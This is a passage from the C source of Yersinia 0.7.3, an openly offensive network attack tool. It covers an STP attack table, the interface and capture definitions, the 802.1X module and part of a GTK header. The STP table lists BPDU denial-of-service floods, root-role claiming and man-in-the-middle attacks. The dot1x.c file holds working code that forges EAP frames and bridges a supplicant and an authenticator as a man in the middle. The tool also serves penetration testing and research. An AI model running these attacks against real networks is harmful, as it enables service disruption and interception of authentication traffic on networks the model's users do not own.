*, int);*/ #define XSTP_MITM_IFACE1 0 #define XSTP_MITM_IFACE2 1 static struct attack_param xstp_mitm_params[] = { { NULL, "Interface 1", 1, FIELD_IFACE, IFNAMSIZ, NULL }, { NULL, "Interface 2", 1, FIELD_IFACE, IFNAMSIZ, NULL } }; #define STP_ATTACK_SEND_CONF 0 #define STP_ATTACK_SEND_TCN 1 #define STP_ATTACK_DOS_CONF 2 #define STP_ATTACK_DOS_TCN 3 #define STP_ATTACK_NONDOS_RR 4 #define STP_ATTACK_NONDOS_OR 5 #define STP_ATTACK_RR_MITM 6 /*#define STP_ATTACK_DOS_ELECT 6 #define STP_ATTACK_DOS_DISSAP 7 */ static struct attack stp_attack[] = { { STP_ATTACK_SEND_CONF, "sending conf BPDU", NONDOS, SINGLE, xstp_th_send_bpdu_conf, NULL, 0 }, { STP_ATTACK_SEND_TCN, "sending tcn BPDU", NONDOS, SINGLE, xstp_th_send_bpdu_tcn, NULL, 0 }, { STP_ATTACK_DOS_CONF, "sending conf BPDUs", DOS, CONTINOUS, xstp_th_dos_conf, NULL, 0 }, { STP_ATTACK_DOS_TCN, "sending tcn BPDUs", DOS, CONTINOUS, xstp_th_dos_tcn, NULL, 0 }, { STP_ATTACK_NONDOS_RR, "Claiming Root Role", NONDOS, CONTINOUS, xstp_th_nondos_role, NULL, 0 }, { STP_ATTACK_NONDOS_OR, "Claiming Other Role", NONDOS, CONTINOUS, xstp_th_nondos_other_role, NULL, 0 }, { STP_ATTACK_RR_MITM, "Claiming Root Role with MiTM", DOS, CONTINOUS, xstp_th_dos_mitm, xstp_mitm_params, SIZE_ARRAY(xstp_mitm_params) }, /* { STP_ATTACK_DOS_ELECT, "Causing Eternal Root Elections", NONDOS, xstp_th_nondos_role, NULL, 0 }, { STP_ATTACK_DOS_DISSAP, "Causing Root Dissappearance", NONDOS, xstp_th_nondos_role, NULL, 0 },*/ { 0, NULL, 0, 0, NULL, NULL, 0 } }; void xstp_register(void); void xstp_send_hellos(void *); void xstp_send_hellos_mitm(void *); int8_t xstp_learn_packet(struct attacks *, char *, u_int8_t *, void *, struct pcap_pkthdr *); int8_t xstp_decrement_bridgeid(struct stp_data *); int8_t xstp_increment_bridgeid(struct stp_data *); char **xstp_get_printable_packet(struct pcap_data *); char **xstp_get_printable_store(struct term_node *); int8_t xstp_update_field(int8_t, struct term_node *, void *); int8_t xstp_init_attribs(struct term_node *); int8_t xstp_load_values(struct pcap_data *, void *); int8_t xstp_init_comms_struct(struct term_node *); int8_t xstp_end(struct term_node *); extern void thread_libnet_error( char *, libnet_t *); extern int8_t thread_create(pthread_t *, void *, void *); extern void write_log( u_int16_t mode, char *msg, ... ); extern int8_t attack_th_exit(struct attacks *); extern void attack_gen_mac(u_int8_t *); extern struct interface_data *interfaces_get_packet(list_t *, struct interface_data *, u_int8_t *, struct pcap_pkthdr *, u_int8_t *, u_int16_t, time_t); extern int8_t parser_command2index(register const struct attack *, register int8_t); extern int8_t parser_vrfy_mac(char *, u_int8_t *); extern int8_t parser_vrfy_bridge_id(char *, u_int8_t * ); extern void parser_str_tolower( char *); extern struct terminals *terms; extern int8_t bin_data[]; #endif /* vim:set tabstop=4:set expandtab:set shiftwidth=4:set textwidth=78: */ yersinia-0.7.3/src/interfaces.h0000644000175000017500000001225112234207266014236 0ustar nknk/* interfaces.h * Definitions for network interfaces and capturing packets * * $Id: interfaces.h 46 2007-05-08 09:13:30Z slay $ * * Yersinia * By David Barroso and Alfredo Andres * Copyright 2005, 2006, 2007 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef __INTERFACES_H__ #define __INTERFACES_H__ #include #include #include "protocols.h" #include "thread-util.h" #include "terminal-defs.h" #include "dlist.h" #ifndef BPDU_TCN #define BPDU_TCN 0x80 #endif #define ALL_INTS -1 /* Max protocol queue size */ #define MAX_QUEUE 5 #ifndef IFNAMSIZ #define IFNAMSIZ 16 #endif #define PCAP_DESC 16 #define IPADDRSIZ 46 #define PROMISC 1 #define TIMEOUT 500 #define FILTER "stp || (udp and (port 1985 or port 68 or port 67)) || (ether host 01:00:0c:cc:cc:cc and ether[20:2] = 0x2000) || (ether host 01:00:0c:cc:cc:cc and ether[20:2] = 0x2004) || (ether host 01:00:0c:cc:cc:cc and ether[20:2] = 0x2003) || arp || vlan || (ether[14]=0xaa and ether[15]=0xaa and ether[0]=0x01 and ether[1]=0x00 and ether[2]=0x0c and ether[3]=0x00 and ether[4]=0x00) || (ether[0]=0x01 and ether[1]=0x80 and ether[2]=0xc2 and ether[12:2] = 0x888e) || mpls" /* Fields for recognizing packets */ #define F_ETHERTYPE 1 #define F_LLC_SSAP 2 #define F_LLC_DSAP 3 #define F_LLC_SNAP 4 #define F_LLC_CISCO 5 #define F_DMAC_1 6 #define F_DMAC_2 7 #define F_DMAC_3 8 #define F_DMAC_4 9 #define F_DMAC_5 10 #define F_DMAC_6 11 #define F_UDP_PORT 12 #define NO_TIMEOUT 0 list_t *interfaces; struct interface_data { int8_t up; /* is it active? */ char ifname[IFNAMSIZ+1]; /* Interface name */ int iflink; /* Type of data link */ char iflink_name[PCAP_DESC+1]; char iflink_desc[PCAP_DESC+1]; int8_t desc[PCAP_DESC+1]; u_int8_t etheraddr[ETHER_ADDR_LEN]; /* MAC Address */ char ipaddr[IPADDRSIZ+1]; /* IP address */ char netmask[IPADDRSIZ+1]; /* Netmask address */ char broadcast[IPADDRSIZ+1]; /* Broadcast address */ char ptpaddr[IPADDRSIZ+1]; /* Point-to-point (if suitable) */ pcap_t *pcap_handler; /* Libpcap handler */ int pcap_file; /* Libpcap file handler */ libnet_t *libnet_handler; /* Libnet handler */ u_int16_t users; /* number of clients using it */ u_int32_t packets[MAX_PROTOCOLS]; u_int32_t packets_out[MAX_PROTOCOLS]; }; struct counter_stats { u_int32_t total_packets; u_int32_t total_packets_out; }; /*struct pcap_data { struct pcap_pkthdr *header; u_int8_t *packet; u_int16_t iface; };*/ struct packet_stats { struct counter_stats global_counter; }; struct packet_queue { struct pcap_data data[MAX_QUEUE]; pthread_mutex_t mutex; u_int16_t index; }; int8_t interfaces_init(THREAD *); int8_t interfaces_init_data(struct interface_data *); int16_t interfaces_enable(char *); int16_t interfaces_get(char *); struct interface_data *interfaces_get_struct(char *); int8_t interfaces_disable(char *); int8_t interfaces_init_pcap(char *); int8_t interfaces_init_libnet(char *); void *interfaces_th_pcap_listen(void *); void interfaces_th_pcap_listen_exit(THREAD *); void interfaces_th_pcap_listen_clean(void *); struct interface_data *interfaces_get_packet(list_t *, struct interface_data *, u_int8_t *stop, struct pcap_pkthdr *, u_int8_t *, u_int16_t, time_t); int8_t interfaces_clear_stats(int8_t); int8_t interfaces_destroy(THREAD *); u_int16_t interfaces_update_stats(struct pcap_data *); int8_t interfaces_recognize_packet(u_int8_t *, struct pcap_pkthdr *); int8_t interfaces_pcap_file_open(struct term_node *, u_int8_t, char *, char *); int8_t interfaces_pcap_file_close(struct term_node *, u_int8_t); u_int8_t interfaces_get_last_int(u_int8_t); int8_t interfaces_compare(void *, void *); #ifndef HAVE_PCAP_DUMP_FLUSH int8_t pcap_dump_flush(pcap_dumper_t *); #endif /* External stuff */ extern pthread_mutex_t mutex_int; extern struct terminals *terms; extern int8_t fatal_error; extern struct packet_queue queue[]; extern struct packet_stats packet_stats; extern struct packet_data packet_data; extern FILE *log_file; extern void thread_error(char *, int8_t); extern int8_t thread_destroy(THREAD *); extern struct term_tty *tty_tmp; #endif /* vim:set tabstop=4:set expandtab:set shiftwidth=4:set textwidth=78: */ yersinia-0.7.3/src/dot1x.c0000644000175000017500000006017312234207266013153 0ustar nknk/* dot1x.c * Implementation and attacks for IEEE 802.1X * * Yersinia * By David Barroso and Alfredo Andres * Copyright 2005, 2006, 2007 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef lint static const char rcsid[] = "$Id :$"; #endif #ifdef HAVE_CONFIG_H #include #endif #define _REENTRANT #include #include #include #include #ifdef HAVE_NETINET_IN_SYSTM_H #include #else #ifdef HAVE_NETINET_IN_SYSTEM_H #include #endif #endif #include #include #include #include #include #ifdef TIME_WITH_SYS_TIME #include #endif #ifdef HAVE_UNISTD_H #include #endif #ifdef HAVE_STRING_H #include #endif #ifdef HAVE_STRINGS_H #include #endif #ifdef HAVE_BSTRING_H #include #endif #ifdef STDC_HEADERS #include #endif #ifdef HAVE_PTHREAD_H #include #endif #include #include "dot1x.h" void dot1x_register(void) { protocol_register(PROTO_DOT1X, "802.1X", "IEEE 802.1X", "dot1x", sizeof(struct dot1x_data), dot1x_init_attribs, dot1x_learn_packet, dot1x_get_printable_packet, dot1x_get_printable_store, dot1x_load_values, dot1x_attack, dot1x_update_field, dot1x_features, dot1x_comm_params, SIZE_ARRAY(dot1x_comm_params), NULL, 0, NULL, dot1x_init_comms_struct, PROTO_VISIBLE, dot1x_end); } /* * Inicializa la estructura que se usa para relacionar el tmp_data * de cada nodo con los datos que se sacaran por pantalla cuando * se accede al demonio de red. * Teoricamente como esta funcion solo se llama desde term_add_node() * la cual, a su vez, solo es llamada al tener el mutex bloqueado por * lo que no veo necesario que sea reentrante. (Fredy). */ int8_t dot1x_init_comms_struct(struct term_node *node) { struct dot1x_data *dot1x_data; void **comm_param; comm_param = (void *)calloc(1,sizeof(void *)*SIZE_ARRAY(dot1x_comm_params)); if (comm_param == NULL) { thread_error("dot1x_init_commands_struct calloc error",errno); return -1; } dot1x_data = node->protocol[PROTO_DOT1X].tmp_data; node->protocol[PROTO_DOT1X].commands_param = comm_param; comm_param[DOT1X_SMAC] = &dot1x_data->mac_source; comm_param[DOT1X_DMAC] = &dot1x_data->mac_dest; comm_param[DOT1X_VER] = &dot1x_data->version; comm_param[DOT1X_TYPE] = &dot1x_data->type; comm_param[DOT1X_EAP_CODE] = &dot1x_data->eap_code; comm_param[DOT1X_EAP_ID] = &dot1x_data->eap_id; comm_param[DOT1X_EAP_TYPE] = &dot1x_data->eap_type; comm_param[DOT1X_EAP_INFO] = &dot1x_data->eap_info; comm_param[8] = NULL; comm_param[9] = NULL; return 0; } void dot1x_th_send(void *arg) { struct attacks *attacks=NULL; sigset_t mask; attacks = arg; pthread_mutex_lock(&attacks->attack_th.finished); pthread_detach(pthread_self()); sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("dot1x_th_send pthread_sigmask()",errno); dot1x_th_send_exit(attacks); } dot1x_send(attacks); dot1x_th_send_exit(attacks); } int8_t dot1x_send(struct attacks *attacks) { libnet_ptag_t t; libnet_t *lhandler; int32_t sent; int32_t payload_size=0; struct dot1x_data *dot1x_data; struct eap_header *eap_hdr; u_int8_t *payload=NULL, *cursor; dlist_t *p; struct interface_data *iface_data; struct interface_data *iface_data2; dot1x_data = attacks->data; dot1x_data->len = 4; if (dot1x_data->len >= sizeof(struct eap_header)) { write_log(0,"Payload = %d + 1 + 4\n",dot1x_data->eap_info_len); payload = (u_int8_t *)calloc(1,dot1x_data->eap_info_len+1+4); if (payload == NULL) { thread_error("dot1x_send calloc()",errno); return -1; } eap_hdr = (struct eap_header *)payload; eap_hdr->code = dot1x_data->eap_code; eap_hdr->id = dot1x_data->eap_id; cursor = (u_int8_t *)(eap_hdr+1); *cursor = dot1x_data->eap_type; if (dot1x_data->eap_info_len) memcpy((void *)(cursor+1),dot1x_data->eap_info,dot1x_data->eap_info_len); switch(dot1x_data->eap_code) { case DOT1X_EAP_RESPONSE: if (dot1x_data->eap_type == 0x01) /* Notification */ { dot1x_data->len = sizeof(struct eap_header) + 1 + dot1x_data->eap_info_len; eap_hdr->len = htons(sizeof(struct eap_header) + 1 + dot1x_data->eap_info_len); payload_size = sizeof(struct eap_header) + 1 + dot1x_data->eap_info_len; } else { dot1x_data->len = sizeof(struct eap_header) + 1; eap_hdr->len = htons(sizeof(struct eap_header)+1); payload_size = sizeof(struct eap_header) + 1; } break; case DOT1X_EAP_REQUEST: dot1x_data->len = sizeof(struct eap_header) + 1; eap_hdr->len = htons(sizeof(struct eap_header)+1); payload_size = sizeof(struct eap_header) + 1; break; default: dot1x_data->len = sizeof(struct eap_header); eap_hdr->len = htons(sizeof(struct eap_header)); payload_size = sizeof(struct eap_header); break; } } write_log(0,"Antes envio payload=%p psize=%d dot1x_data->len=%d\n",payload,payload_size,dot1x_data->len); for (p = attacks->used_ints->list; p; p = dlist_next(attacks->used_ints->list, p)) { iface_data = (struct interface_data *) dlist_data(p); lhandler = iface_data->libnet_handler; t = libnet_build_802_1x( dot1x_data->version, dot1x_data->type, dot1x_data->len, payload, payload_size, lhandler, 0); if (t == -1) { thread_libnet_error("Can't build 802.1x header",lhandler); libnet_clear_packet(lhandler); if (payload) free(payload); return -1; } t = libnet_build_ethernet( dot1x_data->mac_dest, /* ethernet destination */ dot1x_data->mac_source, /* ethernet source */ ETHERTYPE_EAP, /* protocol type */ NULL, /* payload */ 0, /* payload size */ lhandler, /* libnet handle */ 0); /* libnet id */ if (t == -1) { thread_libnet_error("Can't build Ethernet_II header",lhandler); libnet_clear_packet(lhandler); if (payload) free(payload); return -1; } /* * Write it to the wire. */ sent = libnet_write(lhandler); if (sent == -1) { thread_libnet_error("libnet_write error", lhandler); libnet_clear_packet(lhandler); if (payload) free(payload); return -1; } libnet_clear_packet(lhandler); protocols[PROTO_DOT1X].packets_out++; iface_data2 = interfaces_get_struct(iface_data->ifname); iface_data2->packets_out[PROTO_DOT1X]++; } if (payload) free(payload); return 0; } void dot1x_th_send_exit(struct attacks *attacks) { if (attacks) attack_th_exit(attacks); pthread_mutex_unlock(&attacks->attack_th.finished); pthread_exit(NULL); } /* * 802.1X MitM simple attack. * You'll need 2 network interfaces, 1 attached * to the supplicant device and the other attached * to the authenticator device. */ void dot1x_th_mitm(void *arg) { struct attacks *attacks=NULL; struct attack_param *param; sigset_t mask; struct dot1x_data *dot1x_data; struct pcap_pkthdr header; struct libnet_802_3_hdr *ether; struct timeval now; struct dot1x_mitm_ifaces mitm_ifaces; struct interface_data *iface; dlist_t *p; u_int8_t *packet; attacks = arg; pthread_mutex_lock(&attacks->attack_th.finished); pthread_detach(pthread_self()); sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("dot1x_th_mitm pthread_sigmask()",errno); dot1x_th_mitm_exit(attacks); } dot1x_data = attacks->data; param = attacks->params; p = dlist_search(attacks->used_ints->list, attacks->used_ints->cmp, param[DOT1X_MITM_IFACE_AUTH].value); mitm_ifaces.auth = (struct interface_data *) dlist_data(p); p = dlist_search(attacks->used_ints->list, attacks->used_ints->cmp, param[DOT1X_MITM_IFACE_SUPP].value); mitm_ifaces.supp = (struct interface_data *) dlist_data(p); if (!mitm_ifaces.auth || !mitm_ifaces.supp) { if (!mitm_ifaces.auth) write_log(0,"Ooops!! Interface %s not existent!!\n",param[DOT1X_MITM_IFACE_AUTH].value); else write_log(0,"Ooops!! Interface %s not existent!!\n",param[DOT1X_MITM_IFACE_SUPP].value); write_log(0," Have you enabled the interface? Sure?...\n"); dot1x_th_mitm_exit(attacks); } gettimeofday(&now,NULL); header.ts.tv_sec = now.tv_sec; header.ts.tv_usec = now.tv_usec; if ((packet = calloc(1, SNAPLEN)) == NULL) dot1x_th_mitm_exit(attacks); /* Get Authenticator MAC address... */ interfaces_get_packet(attacks->used_ints, mitm_ifaces.auth, &attacks->attack_th.stop, &header, packet, PROTO_DOT1X, NO_TIMEOUT); if (attacks->attack_th.stop) { free(packet); dot1x_th_mitm_exit(attacks); } ether = (struct libnet_802_3_hdr *) packet; write_log(0, " Authenticator MAC = %02X:%02X:%02X:%02X:%02X:%02X\n", ether->_802_3_shost[0], ether->_802_3_shost[1], ether->_802_3_shost[2], ether->_802_3_shost[3], ether->_802_3_shost[4], ether->_802_3_shost[5]); memcpy((void *)mitm_ifaces.mac_auth,(void *)ether->_802_3_shost,6); /* Get supplicant MAC address */ interfaces_get_packet(attacks->used_ints, mitm_ifaces.supp, &attacks->attack_th.stop, &header, packet, PROTO_DOT1X, NO_TIMEOUT); if (attacks->attack_th.stop) { free(packet); dot1x_th_mitm_exit(attacks); } ether = (struct libnet_802_3_hdr *) packet; write_log(0, " Supplicant MAC = %02X:%02X:%02X:%02X:%02X:%02X\n", ether->_802_3_shost[0], ether->_802_3_shost[1], ether->_802_3_shost[2], ether->_802_3_shost[3], ether->_802_3_shost[4], ether->_802_3_shost[5]); memcpy((void *)mitm_ifaces.mac_supp,(void *)ether->_802_3_shost,6); /* Ok... Now start the funny bridging side... */ while(!attacks->attack_th.stop) { iface = interfaces_get_packet(attacks->used_ints, NULL, &attacks->attack_th.stop, &header, packet, PROTO_DOT1X, NO_TIMEOUT); if (attacks->attack_th.stop) break; ether = (struct libnet_802_3_hdr *) packet; /* Authenticator interface? */ if (iface->libnet_handler == mitm_ifaces.auth->libnet_handler) { if (!memcmp(mitm_ifaces.mac_supp,ether->_802_3_shost,6) ) continue; /* Oops!! Its our packet... */ dot1x_send_raw(mitm_ifaces.supp, (packet+LIBNET_802_3_H), (header.len-LIBNET_802_3_H), mitm_ifaces.mac_auth, mitm_ifaces.mac_supp); continue; } /* Supplicant interface? */ if (iface->libnet_handler == mitm_ifaces.supp->libnet_handler) { if (!memcmp(mitm_ifaces.mac_auth,ether->_802_3_shost,6) ) continue; /* Oops!! Its our packet... */ dot1x_send_raw(mitm_ifaces.auth, (packet+LIBNET_802_3_H), (header.len-LIBNET_802_3_H), mitm_ifaces.mac_supp, mitm_ifaces.mac_auth); continue; } } free(packet); dot1x_th_mitm_exit(attacks); } int8_t dot1x_send_raw(struct interface_data *iface, u_int8_t *payload, u_int16_t len, u_int8_t *mac_source, u_int8_t *mac_dest) { libnet_ptag_t t; int32_t sent; t = libnet_build_ethernet( mac_dest, /* ethernet destination */ mac_source, /* ethernet source */ ETHERTYPE_EAP, /* protocol type */ payload, /* payload */ len, /* payload size */ iface->libnet_handler, /* libnet handle */ 0); /* libnet id */ if (t == -1) { thread_libnet_error("Can't build Ethernet_II header",iface->libnet_handler); libnet_clear_packet(iface->libnet_handler); return -1; } sent = libnet_write(iface->libnet_handler); if (sent == -1) { thread_libnet_error("libnet_write error", iface->libnet_handler); libnet_clear_packet(iface->libnet_handler); return -1; } libnet_clear_packet(iface->libnet_handler); protocols[PROTO_DOT1X].packets_out++; iface->packets_out[PROTO_DOT1X]++; return 0; } void dot1x_th_mitm_exit(struct attacks *attacks) { if (attacks) attack_th_exit(attacks); pthread_mutex_unlock(&attacks->attack_th.finished); pthread_exit(NULL); } int8_t dot1x_init_attribs(struct term_node *node) { struct dot1x_data *dot1x_data; dot1x_data = node->protocol[PROTO_DOT1X].tmp_data; attack_gen_mac(dot1x_data->mac_source); dot1x_data->mac_source[0] &= 0x0E; parser_vrfy_mac(DOT1X_DFL_MAC_DST,dot1x_data->mac_dest); dot1x_data->type = DOT1X_DFL_TYPE; dot1x_data->version = DOT1X_DFL_VER; dot1x_data->eap_code = DOT1X_DFL_EAP_CODE; dot1x_data->eap_id = DOT1X_DFL_EAP_ID; dot1x_data->eap_type = DOT1X_DFL_EAP_TYPE; memcpy(dot1x_data->eap_info,DOT1X_DFL_EAP_INFO,sizeof(DOT1X_DFL_EAP_INFO)-1); dot1x_data->eap_info_len = sizeof(DOT1X_DFL_EAP_INFO)-1; dot1x_data->len = dot1x_data->eap_info_len + 1 + sizeof(struct eap_header); return 0; } int8_t dot1x_learn_packet(struct attacks *attacks, char *iface, u_int8_t *stop, void *data, struct pcap_pkthdr *header) { struct dot1x_data *dot1x_data; struct pcap_data pcap_aux; u_int8_t *packet, got_802_1x_pkt = 0; u_int16_t *cursor; dlist_t *p; struct interface_data *iface_data; dot1x_data = data; if ((packet = calloc(1, SNAPLEN)) == NULL) return -1; if (iface) { p = dlist_search(attacks->used_ints->list, attacks->used_ints->cmp, iface); if (!p) return -1; iface_data = (struct interface_data *) dlist_data(p); } else iface_data = NULL; while (!got_802_1x_pkt && !(*stop)) { interfaces_get_packet(attacks->used_ints, iface_data, stop, header, packet, PROTO_DOT1X, NO_TIMEOUT); if (*stop) { free(packet); return -1; } cursor = (u_int16_t *)(packet + 12); pcap_aux.header = header; pcap_aux.packet = packet; if (!dot1x_load_values((struct pcap_data *)&pcap_aux, dot1x_data)) got_802_1x_pkt = 1; } /* While got */ free(packet); return 0; } /* * Load values from packet to data. * At the moment this function is called only * from ncurses-gui.c */ int8_t dot1x_load_values(struct pcap_data *data, void *values) { struct libnet_802_3_hdr *ether; struct dot1x_data *dot1x; struct dot1x_header *dot1x_hdr; struct eap_header *eap_hdr; u_int8_t *cursor; dot1x = (struct dot1x_data *)values; if (data->header->caplen < (14+4) ) /* Undersized packet!! */ return -1; ether = (struct libnet_802_3_hdr *) data->packet; /* Source MAC */ memcpy(dot1x->mac_source, ether->_802_3_shost, ETHER_ADDR_LEN); /* Destination MAC */ memcpy(dot1x->mac_dest, ether->_802_3_dhost, ETHER_ADDR_LEN); dot1x_hdr = (struct dot1x_header *) (data->packet + LIBNET_802_3_H); dot1x->version = dot1x_hdr->version; dot1x->type = dot1x_hdr->type; dot1x->len = ntohs(dot1x_hdr->len); /* Vrfy minimal length!! */ if (dot1x->type == DOT1X_TYPE_EAP) { eap_hdr = (struct eap_header *)(dot1x_hdr+1); dot1x->eap_code = eap_hdr->code; dot1x->eap_id = eap_hdr->id; dot1x->eap_len = ntohs(eap_hdr->len); /* Vrfy len!! */ if ( (dot1x->eap_code == DOT1X_EAP_RESPONSE) && (dot1x->eap_len > 4) ) { cursor = (u_int8_t *)(eap_hdr+1); if (*cursor == DOT1X_EAP_IDENTITY) { memset(dot1x->eap_info,0,MAX_EAP_INFO); dot1x->eap_info_len = 0; /* Vrfy if INFO is within the boundaries!! */ if ( (dot1x->eap_len-5) <= MAX_EAP_INFO) { memcpy(dot1x->eap_info,(cursor+1),(dot1x->eap_len-5)); dot1x->eap_info_len = dot1x->eap_len-5; } else { memcpy(dot1x->eap_info,(cursor+1),MAX_EAP_INFO); dot1x->eap_info_len = MAX_EAP_INFO; } return 0; } } } memset(dot1x->eap_info,0,MAX_EAP_INFO); dot1x->eap_info_len = 0; return 0; } /* * Return formated strings of each 802.1X field */ char ** dot1x_get_printable_packet(struct pcap_data *data) { struct libnet_802_3_hdr *ether; struct dot1x_header *dot1x_hdr; struct eap_header *eap_hdr; u_int8_t *cursor; char **field_values; if (data && (data->header->caplen < (14+4)) ) /* Undersized packet!! */ return NULL; if ((field_values = (char **) protocol_create_printable(protocols[PROTO_DOT1X].nparams, protocols[PROTO_DOT1X].parameters)) == NULL) { write_log(0, "Error in calloc\n"); return NULL; } ether = (struct libnet_802_3_hdr *) data->packet; /* Source MAC */ snprintf(field_values[DOT1X_SMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", ether->_802_3_shost[0], ether->_802_3_shost[1], ether->_802_3_shost[2], ether->_802_3_shost[3], ether->_802_3_shost[4], ether->_802_3_shost[5]); /* Destination MAC */ snprintf(field_values[DOT1X_DMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", ether->_802_3_dhost[0], ether->_802_3_dhost[1], ether->_802_3_dhost[2], ether->_802_3_dhost[3], ether->_802_3_dhost[4], ether->_802_3_dhost[5]); dot1x_hdr = (struct dot1x_header *) (data->packet + LIBNET_802_3_H); /* Version */ snprintf(field_values[DOT1X_VER], 3, "%02X", dot1x_hdr->version); snprintf(field_values[DOT1X_TYPE], 3, "%02X", dot1x_hdr->type); /* Vrfy minimal length!! */ if (dot1x_hdr->type == DOT1X_TYPE_EAP) { eap_hdr = (struct eap_header *)(dot1x_hdr+1); snprintf(field_values[DOT1X_EAP_CODE],3, "%02X", eap_hdr->code); snprintf(field_values[DOT1X_EAP_ID], 3, "%02X", eap_hdr->id); /* Vrfy len!! eap_hdr->len */ if ( (eap_hdr->code == DOT1X_EAP_RESPONSE) && (eap_hdr->len > 4) ) { cursor = (u_int8_t *)(eap_hdr+1); snprintf(field_values[DOT1X_EAP_TYPE], 3, "%02X", *cursor); if (*cursor == DOT1X_EAP_IDENTITY) { /* Vrfy if INFO is within the boundaries!! */ if ( (eap_hdr->len-5) < 30) { memcpy(field_values[DOT1X_EAP_INFO],(cursor+1),(eap_hdr->len-5)); } else { memcpy(field_values[DOT1X_EAP_INFO],(cursor+1),30); field_values[DOT1X_EAP_INFO][29] = '|'; field_values[DOT1X_EAP_INFO][30] = '\0'; } } } } return (char **)field_values; } char ** dot1x_get_printable_store(struct term_node *node) { struct dot1x_data *dot1x_tmp; char **field_values; /* smac + dmac + double + vlan1 + priority + cfi1 + tpi1 + vlan2 + * priority2 + cfi2 + tpi3 + src + dst + proto + arp + vlan + null = 17 */ if ((field_values = (char **) protocol_create_printable(protocols[PROTO_DOT1X].nparams, protocols[PROTO_DOT1X].parameters)) == NULL) { write_log(0, "Error in calloc\n"); return NULL; } if (node == NULL) dot1x_tmp = protocols[PROTO_DOT1X].default_values; else dot1x_tmp = (struct dot1x_data *) node->protocol[PROTO_DOT1X].tmp_data; /* Source MAC */ snprintf(field_values[DOT1X_SMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", dot1x_tmp->mac_source[0], dot1x_tmp->mac_source[1], dot1x_tmp->mac_source[2], dot1x_tmp->mac_source[3], dot1x_tmp->mac_source[4], dot1x_tmp->mac_source[5]); /* Destination MAC */ snprintf(field_values[DOT1X_DMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", dot1x_tmp->mac_dest[0], dot1x_tmp->mac_dest[1], dot1x_tmp->mac_dest[2], dot1x_tmp->mac_dest[3], dot1x_tmp->mac_dest[4], dot1x_tmp->mac_dest[5]); /* Version */ snprintf(field_values[DOT1X_VER], 3, "%02X", dot1x_tmp->version); snprintf(field_values[DOT1X_TYPE], 3, "%02X", dot1x_tmp->type); snprintf(field_values[DOT1X_EAP_CODE], 3, "%02X", dot1x_tmp->eap_code); snprintf(field_values[DOT1X_EAP_ID], 3, "%02X", dot1x_tmp->eap_id); snprintf(field_values[DOT1X_EAP_TYPE], 3, "%02X", dot1x_tmp->eap_type); memcpy(field_values[DOT1X_EAP_INFO], dot1x_tmp->eap_info, MAX_EAP_INFO); return (char **)field_values; } int8_t dot1x_update_field(int8_t state, struct term_node *node, void *value) { struct dot1x_data *dot1x_data; if (node == NULL) dot1x_data = protocols[PROTO_DOT1X].default_values; else dot1x_data = node->protocol[PROTO_DOT1X].tmp_data; switch(state) { /* Source MAC */ case DOT1X_SMAC: memcpy((void *)dot1x_data->mac_source, (void *)value, ETHER_ADDR_LEN); break; /* Destination MAC */ case DOT1X_DMAC: memcpy((void *)dot1x_data->mac_dest, (void *)value, ETHER_ADDR_LEN); break; case DOT1X_VER: dot1x_data->version = *(u_int8_t *)value; break; case DOT1X_TYPE: dot1x_data->type = *(u_int8_t *)value; break; case DOT1X_EAP_CODE: dot1x_data->eap_code = *(u_int8_t *)value; break; case DOT1X_EAP_ID: dot1x_data->eap_id = *(u_int8_t *)value; break; case DOT1X_EAP_TYPE: dot1x_data->eap_type = *(u_int8_t *)value; break; default: break; } return 0; } int8_t dot1x_end(struct term_node *node) { return 0; } yersinia-0.7.3/src/gtk-callbacks.h0000644000175000017500000000751712234207266014626 0ustar nknk/* gtk_callbacks.h * Definitions GTK callbacks * * $Id: gtk-callbacks.h 43 2007-04-27 11:07:17Z slay $ * * Yersinia * By David Barroso and Alfredo Andres * Copyright 2005, 2006, 2007 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef __GTK_CALLBACKS_H__ #define __GTK_CALLBACKS_H__ #include "terminal-defs.h" #include "interfaces.h" #include "attack.h" #include #include "gtk-gui.h" #include "gtk-interface.h" #include "gtk-support.h" /* Global extern */ extern struct term_tty *tty_tmp; extern int8_t parser_read_config_file(struct term_tty *, struct term_node *); extern int8_t parser_write_config_file(struct term_tty *); /* Functions prototypes */ void gtk_c_on_file_open_activate(GtkMenuItem *, gpointer); void gtk_c_on_file_save_activate(GtkMenuItem *, gpointer); void gtk_c_opendialog_open(GtkWidget *, gpointer); void gtk_c_savedialog_save(GtkWidget *, gpointer); void gtk_c_on_file_quit_activate(GtkMenuItem *, gpointer); void on_protocols_proto1_activate (GtkMenuItem *menuitem, gpointer user_data); void gtk_c_on_protocols_toggle(GtkMenuItem *, gpointer); void gtk_c_on_actions_execute_activate(GtkMenuItem *, gpointer); void gtk_c_on_actions_interfaces_activate(GtkMenuItem *, 